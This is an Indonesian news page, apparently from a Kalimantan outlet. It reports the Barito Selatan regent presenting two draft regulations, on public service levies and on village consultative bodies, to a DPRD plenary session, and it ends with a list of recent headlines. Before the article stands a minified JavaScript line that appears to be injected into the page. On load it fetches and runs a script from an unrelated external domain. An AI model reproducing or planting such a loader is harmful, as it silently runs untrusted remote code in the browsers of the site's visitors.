(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Raperda Barsel Disampaikan Pada Paripurna DPRD


BUNTOK, Bupati Barito Selatan (Barsel) Eddy Raya Samsuri menyampaikan dua Rancangan Peraturan Daerah (Raperda) tentang Retribusi dan Jasa Umum dan tentang Badan Permusyawaratan Desa (BPD).

Dua Raperda tersebut disampaikannya lewat sambutannya pada sidang pengantar Paripurna II masa Sidang II DPRD Barsel, di Aula DPRD setempat, Senin (27/5). Bupati mengatakan, Raperda Retribusi Jasa Umum merupakan pungutan daerah sebagai pembayaran atau pemberian izin tertentu yang disediakan atau diberi oleh Pemkab untuk kepentingan orang pribadi dan Badan.

Lebih lanjut oleh orang nomor satu di Pemkab Barsel itu, bahwa Pemkab telah membentuk Perda Nomor 4/2011 tentang retribusi jasa umum. Namun perda tersebut belum meningkatkan pendapatan daerah dari sektor retribusi. “Oleh karena itu kita melakukan perluasan jenis retribusi daerah dan penyesuaian tarif untuk meningkatkan PAD dari sektor retribusi jasa umum,” kata Eddy Raya.

Sedangkan raperda tentang BPD yang merupakan lembaga melaksanakan fungsi pemerintahan yang anggotanya merupakan wakil penduduk desa berdasarkan keterwakilan wilayah dan keterwakilan perempuan. “Karena BPD mempunyai tugas dan fungsi sangat penting dalam penyelenggaraan peemerintahan desa yakni membahas dan menyepakati rancangan peraturan desa bersama Kades,” ucap Eddy Raya.

Selain itu BPD juga tempat menampung dan menyalurkan aspirasi masyarakat desa  dan melakukan pengawasan kinerja kepala Desa. “Kiranya lewat materi yang disampaikan pada rapat paripurna II masa sidang II ini dapat dikaji, dan pada gilirannya mendapat persetujuan bersama antara Pemerintah Kabupaten Barsel dengan DPRD setempat,” harap Eddy Raya.

Ditempat yang sama Wakil ketua II DPRD Barsel, Rayuhani menyampaikan, pihaknya akan memperlajari raperda yang disampaikan tersebut dan akan membahas bersama dengan pemkab Barsel.“Kita akan mempelajari dulu raperda yang ada dan akan segera membahas kembali bersama dengan Pemkab Barsel,” ucapnya singkat.(digdo)

Reporter:Digdo
Editor:Cell

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

2 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

4 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

5 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

5 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

9 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

9 jam ago

This website uses cookies.